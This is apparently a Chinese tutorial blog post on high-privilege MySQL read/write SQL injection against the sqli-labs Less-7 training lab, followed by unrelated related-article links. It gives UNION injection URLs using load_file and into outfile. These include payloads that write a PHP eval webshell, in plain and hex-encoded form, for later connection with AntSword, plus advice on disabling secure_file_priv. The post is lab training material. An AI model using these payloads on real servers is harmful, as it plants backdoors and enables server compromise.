基于sqli-labs Less-7 的sql高权读写注入详解
1. MySQL高权限读写简介
1.1 前置知识
数据库的高权用户对服务器上的文件进行读取写入操作,从而可以进行写入一句话木马来获得服务器权限或者读取服务器上的配置型文件等注入行为。
select load_file ('d:/w.txt'); # 读取w.txt
select 'xxx' into outfile 'd:/1.txt'; # 将xxx写入1.txt,1.txt不存在则自动创建文件
1.2 读写注入示例
字段数判断和注入点判断略,作信息收集看用户名是root后可以尝试高权注入
/?id=1 union select 1,load_file ('d:/w.txt'),3
/?id=1 union select 1,'xxx',3 into outfile 'd:/1.txt'
注意写路径的时候\的时候要写两个,前一个为转义字符,作用是避免被认为是换行而报错,或者直接写/即可。
1.3 写入后门代码
给出写入后门代码示例
/?id=1 union select 1,'<?php eval($_POST[x]);?>',3 into outfile '当前网站路径/1.php'
如果存在过滤,可以把<?php eval($_POST[x])?>用hex编码一下,不用单引号,即:
/?id=1 union select 1,3c3f706870206576616c28245f504f53545b2778275d293f3e,3 into outfile '当前网站路径/1.php'
1.4 路径获取
load_file与outfile函数都需要绝对路径,获取网站绝对路径的方法有以下几种:
- load_file常用路径直接读取配置文件,得到网站路径
- 扫描网站目录,尝试寻找遗留/phpinfo.php的文件
- 输入错误信息,看是否会报错返回路径
- 爆破路径
2. 黑盒测试
2.1 判断闭合类型
判断闭合类型为((''))
/?id=1' and '1'='1 You are in
/?id=1' --+ 报错
/?id=1') and ('1')=('1 You are in
/?id=1') --+ 报错
/?id=1')) and (('1'))=(('1 You are in
/?id=1')) --+ You are in
2.2 写入后门代码
写入后门代码
注意
- 如果你的靶场搭在物理机上,后门代码会被windows扫描并删除,并不是上传失败
- 如果上传失败,可能是secure_file_priv配置问题,请参考第三模块
/?id=1')) union select 1,'<?php eval($_POST[x]);?>',3 into outfile 'E:\\phpstudy\\WWW\\sqli\\Less-7\\1.php'--+
之后利用蚁剑连接后门即可
3. secure_file_priv限制
3.1 secure_file_priv简介
高版本的MYSQL添加了一个新的特性secure_file_priv,secure_file_priv 是 MySQL 中用于限制文件操作的系统变量,主要用于控制和限制数据库服务器对文件的访问权限。具体来说,它限制 LOAD DATA INFILE、SELECT INTO OUTFILE 等语句的操作范围,确保数据库文件操作只能在特定的目录中进行,进而增强系统的安全性。
linux
/etc/my.cnf
[mysqld]
secure_file_priv=
win
my.ini
[mysqld]
secure_file_priv=
1. secure_file_priv="" 代表对文件读写没有限制
2. secure_file_priv="NULL" 代表不能进行文件读写
3. secure_file_priv="d :/phpstudy /mysql/data" 代表只能对该路径下文件进行读写
3.2 修改secure_file_priv配置
在做Less-7时,出现读写注入失败的问题,可能就是由于secure_file_priv禁止了读写
想要知道你的secure_file_priv设置,执行以下sql语句:
SHOW VARIABLES LIKE 'secure_file_priv';
若需要修改secure_file_priv,可以在phpstudy_pro\Extensions\MySQL5.7.26\my.ini的[mysqld]模块将它修改为无限制,如果没有secure_file_priv项,可以自行写入。完成后重启mysql服务,应该可以正常解题了。
宇宙安全声明
本博客所提供的内容仅供学习与交流,旨在提高网络安全技术水平,谨遵守国家相关法律法规,请勿用于违法用途,博主不对任何人因使用博客中提到的技术或工具而产生的任何后果负责。如果您对文章内容有疑问,可以留言私信。
基于sqli-labs Less-7 的sql高权读写注入详解的更多相关文章
- SQL Server 执行计划操作符详解(2)——串联(Concatenation )
本文接上文:SQL Server 执行计划操作符详解(1)--断言(Assert) 前言: 根据计划,本文开始讲述另外一个操作符串联(Concatenation),读者可以根据这个词(中英文均可)先幻 ...
- 基于OpenCL的深度学习工具:AMD MLP及其使用详解
基于OpenCL的深度学习工具:AMD MLP及其使用详解 http://www.csdn.net/article/2015-08-05/2825390 发表于2015-08-05 16:33| 59 ...
- BM算法 Boyer-Moore高质量实现代码详解与算法详解
Boyer-Moore高质量实现代码详解与算法详解 鉴于我见到对算法本身分析非常透彻的文章以及实现的非常精巧的文章,所以就转载了,本文的贡献在于将两者结合起来,方便大家了解代码实现! 算法详解转自:h ...
- SQL中CONVERT()函数用法详解
SQL中CONVERT函数格式: CONVERT(data_type,expression[,style]) 参数说明: expression 是任何有效的 Microsoft® SQL Server ...
- SQL Server 执行计划操作符详解(3)——计算标量(Compute Scalar)
接上文:SQL Server 执行计划操作符详解(2)--串联(Concatenation ) 前言: 前面两篇文章介绍了关于串联(Concatenation)和断言(Assert)操作符,本文介绍第 ...
- 常用经典SQL语句大全完整版--详解+实例 (存)
常用经典SQL语句大全完整版--详解+实例 转 傻豆儿的博客 http://blog.sina.com.cn/shadou2012 http://blog.sina.com.cn/s/blog_84 ...
- Linq实战 之 Linq to Sql及Entity Framework操作详解
Linq实战 之 Linq to Sql及Entity Framework操作详解 一:linq to db的框架 1. linq to sql 2. linq to ado.net entity f ...
- 常用经典SQL语句大全完整版--详解+实例 《来自网络,很全没整理,寄存与此》
常用经典SQL语句大全完整版--详解+实例 下列语句部分是Mssql语句,不可以在access中使用. SQL分类: DDL—数据定义语言(CREATE,ALTER,DROP,DECLARE) DML ...
- 基于XMPP的即时通信系统的建立(二)— XMPP详解
XMPP详解 XMPP(eXtensible Messaging and Presence Protocol,可扩展消息处理和现场协议)是一种在两个地点间传递小型结构化数据的协议.在此基础上,XMPP ...
- 安全测试基础-SQL注入详解
1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...
随机推荐
- TL431
1. 设置分流电压VKA 由于分流电压调节器是非理想的: 存在动态电阻ZKA,会导致VREF存在一个偏置电压: ( IKA - INOM ) × ZKA 其中,INOM 是 VKA = VREF 测试 ...
- celery僵死导致jumpserver提示 连接WebSocket失败
celery僵死导致jumpserver提示连接WebSocket失败 Celery的任务监控位于堡垒机 "作业中心"下的"任务监控" 中,点击打开新的页面如下 ...
- 如何将png转为svg
如何将png转为svg如图所示. 工具/原料 Inkscape 方法/步骤 1 打开Inkscape,"文件-打开"如图. 2 打开你需要转化的png图片.如图所示. 3 打开你 ...
- udp协议及包格式
UDP协议也是互联网基础协议之一.它和TCP一样同属于传输层当中的一个协议. 不过UDP协议是一个面向无连接的协议(TCP是向面连接的协议).一个UDP连接的建立,不必象TCP协议那样需要服务器端侦听 ...
- 使用 iRingo 解锁本该属于你的苹果服务
为什么别人的 Spotlight 可以通过航班号查询航班信息,而我的不行?为什么别人的 Spotlight 可以直接看英超联赛的比分信息?为什么我的 Apple News 打不开?这其实是因为这些功能 ...
- Java并发之volatile关键字内存可见性问题
Java并发之volatile关键字内存可见性问题 线程之间数据共享案例 我们先来看一个场景: Main函数启动后,调用一个线程向list中添加数据.List的size为5的时候,设置变量flag为t ...
- 工程化Vue使用
目录 环境准备 Vue项目-创建 Vue项目开发流程 API风格 案例 推荐阅读: VUE-局部使用 环境准备 介绍:create-vue是Vue官方提供的最新的脚手架工具,用于快速生成一个工程化的V ...
- CLion 2022.2.4破解教程详细图解mac,windows,linux均适用
下载与安装 此教程为CLion 2022.2.4 破解教程,且此教程以及下面提供的破解补丁适用与2022.2以后的新版本. 2022年11月10日亲测有效,mac与windows均测试完美破解 CLi ...
- 淘宝开放平台api申请,淘宝开放平台api租用,淘宝开放平台api无法申请,淘宝开放平台api暂停接入
目前淘宝开放平台应用申请是关闭了的,已经无法申请到了,如果你是天猫店铺,可以申请供自己店铺使用的权限,如果你不是天猫店铺或者你是软件开发商,目前是申请不到权限的 如果你必须要用到这个权限包的话,可以联 ...
- 全网最适合入门的面向对象编程教程:45 Python 实现常见数据结构-链表、树、哈希表、图和堆
全网最适合入门的面向对象编程教程:45 Python 实现常见数据结构-链表.树.哈希表.图和堆 摘要: 数据结构是计算机科学中的一种组织和存储数据的方式,它决定了数据的访问方式和操作效率,数据结构的 ...